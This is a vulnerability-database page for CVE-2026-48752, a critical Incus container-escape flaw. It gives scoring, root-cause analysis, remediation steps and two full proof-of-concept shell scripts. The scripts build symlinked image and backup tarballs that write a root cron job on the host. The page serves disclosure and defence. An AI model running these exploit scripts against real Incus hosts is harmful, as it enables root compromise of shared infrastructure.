What is the CVSS score of CVE-2026-48752?

CVE-2026-48752 has a CVSS 3.1 base score of 9.9 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. EPSS exploitation probability: 0.8%.

Which versions of Incus are affected by CVE-2026-48752?

Incus, a widely-deployed container and VM management platform, contains a critical vulnerability affecting versions before 7.2.0 that allows users with import privileges to escape container isolation…. A patch is available.

Is there a public PoC exploit available for CVE-2026-48752?

Yes, a public proof-of-concept exploit is available for CVE-2026-48752. Prioritise patching immediately. EPSS: 0.8%.

How to fix or mitigate CVE-2026-48752?

24 hours: Audit all Incus installations (particularly versions before 7.2.0) and identify users/services with image/backup import permissions; immediately restrict imports to fully trusted sources only and consider temporarily disabling import functionality if operationally feasible. 7 days: Implement network segmentation isolating Incus hosts from each other and untrusted networks; enable detailed logging of image imports and file system access; brief stakeholders on business continuity implications. 30 days: Monitor Incus release notes for version 7.2.0 or later availability; plan and test upgrade path; evaluate alternative container managers with stronger multi-tenant isolation if risk tolerance is exceeded.

Incus CVE-2026-48752

EUVD-2026-63979 CRITICAL

External Control of File Name or Path (CWE-73)

2026-06-26 https://github.com/lxc/incus

GHSA-vxp5-584q-c479

RCE Red Hat

9.9

CVSS 3.1 · Vendor: https://github.com/lxc/incus

Severity by source

Vendor (https://github.com/lxc/incus) PRIMARY

9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

vuln.today AI

9.9 CRITICAL

Requires authenticated import privileges (PR:L) over the network API (AV:N), reliable symlink trick (AC:L), and escapes the container/storage context to write host files as root (S:C, C/I/A:H).

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

SUSE

CRITICAL

qualitative

Red Hat

9.9 CRITICAL

qualitative

Primary rating from Vendor (https://github.com/lxc/incus).

CVSS VectorVendor: https://github.com/lxc/incus

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Source Code Evidence Fetched

Jun 26, 2026 - 19:22 vuln.today

Analysis Generated

Jun 26, 2026 - 19:22 vuln.today

CVE Published

Jun 26, 2026 - 18:46 github-advisory

CRITICAL 9.9

DescriptionCVE.org

Summary

A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.

For instance backups, internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.

PoC

Malicious container image

Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC templates symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink
# read
#incus config template show afrw-image-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc

Malicious instance backup

Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/backup"
cat<<__EOF__>"${tmpdir}/img/backup/index.yaml"
name: afrw-backup-templates-symlink
backend: dir
pool: default
type: container
optimized: false
__EOF__

mkdir "${tmpdir}/img/backup/container"
cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml"
container:
  name: afrw-backup-templates-symlink
  architecture: x86_64
  type: container
  status: Stopped
  status_code: 102
  stateful: false
  ephemeral: false
  profiles:
    - default
  config:
    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
  expanded_config:
    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
  devices: {}
  expanded_devices:
    root:
      path: /
      pool: default
      type: disk
  created_at: "2024-01-01T00:00:00Z"
  last_used_at: "2024-01-01T00:00:00Z"
volume:
  name: afrw-backup-templates-symlink
  type: container
  content_type: filesystem
  config: {}
pool:
  name: default
  driver: dir
  config: {}
__EOF__

cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: afrw-backup-templates-symlink
__EOF__

mkdir "${tmpdir}/img/backup/container/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar
incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink

incus config template ls afrw-backup-templates-symlink
# read
#incus config template show afrw-backup-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32
#incus config template edit afrw-templates-symlink poc

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

AnalysisAI

Arbitrary host file read and write in Incus (the LXC/LXD container and VM manager) before version 7.2.0 allows a user who can import a crafted container image or instance backup to escape into the host filesystem via an unsanitized top-level templates symlink, possibly escalating to root command execution. The flaw stems from tar/rsync extraction routines that exclude device nodes but fail to reject symlinks pointing outside the target directory. No KEV listing or EPSS score is provided, but a detailed working PoC is published in the GHSA advisory.

Technical ContextAI

Incus is a system container and virtual-machine manager (a community fork of LXD) written in Go; the affected component is the incusd daemon (pkg:go/github.com/lxc/incus/v7/cmd/incusd). Two code paths are involved. For container images, internal/server/storage/utils.go calls archive.Unpack(), and the extractor in shared/archive/archive.go strips device nodes but never validates a top-level templates symlink. For instance backups, internal/server/storage/drivers/driver_dir_volumes.go invokes rsync.LocalCopy with -a (archive mode) but omits --safe-links, so symlinks are copied verbatim. This is a classic CWE-73 (External Control of File Name or Path) link-following issue: because the daemon dereferences the attacker-controlled templates symlink (e.g. pointing at /etc/cron.d), subsequent incus config template read/write operations land on arbitrary host paths with daemon (root) privileges.

RemediationAI

Upgrade to Incus 7.2.0 or later (Vendor-released patch: 7.2.0), per GHSA-vxp5-584q-c479 (https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479). Until patched, do not import container images or instance backups from untrusted or third-party sources, since the exploit is delivered entirely through crafted image/backup tarballs; restrict image-import and backup-import permissions to a minimal set of trusted operators and review/inspect tarballs for top-level templates symlinks before import. As an operational compensating control, run instances and storage on a confined/least-privilege host and audit /etc/cron.d and other sensitive directories for unexpected writes - the trade-off is that manual inspection does not scale and can miss obfuscated payloads, so it is only a stopgap until the 7.2.0 upgrade is applied.